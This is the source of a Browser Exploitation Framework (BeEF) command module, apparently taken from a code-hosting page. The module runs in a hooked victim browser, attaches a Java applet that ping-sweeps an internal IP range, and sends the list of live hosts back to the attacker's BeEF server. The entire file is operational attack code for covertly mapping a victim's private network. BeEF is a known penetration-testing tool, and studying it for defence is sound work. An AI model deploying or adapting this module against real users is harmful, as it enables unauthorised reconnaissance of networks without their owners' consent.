53 lines
2.0 KiB
JavaScript
53 lines
2.0 KiB
JavaScript
//
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// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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var ipRange = "<%= @ipRange %>";
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var timeout = "<%= @timeout %>";
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var appletTimeout = 30;
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var output = "";
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var hostNumber = 0;
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var internal_counter = 0;
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var firstMsgSent = false;
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beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, [{'ipRange':ipRange, 'timeout':timeout}]);
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function waituntilok() {
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try {
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hostNumber = document.pingSweep.getHostsNumber();
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if(hostNumber != null && hostNumber > 0){
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if(!firstMsgSent){
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Applet attached.<br>Hosts to check: ' + hostNumber + '<br>Required time (s): ~' + (timeout * hostNumber)/1000);
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firstMsgSent = true;
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}
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output = document.pingSweep.getAliveHosts();
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clearTimeout(int_timeout);
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clearTimeout(ext_timeout);
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success());
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beef.dom.detachApplet('pingSweep');
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return;
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}else{
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error());
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return;
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}
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} catch (e) {
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internal_counter++;
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if (internal_counter > appletTimeout) {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Timeout after '+appletTimeout+' seconds');
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beef.dom.detachApplet('pingSweep');
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return;
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}
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int_timeout = setTimeout(function() {waituntilok()},1000);
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}
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}
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ext_timeout = setTimeout(function() {waituntilok()},5000);
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});
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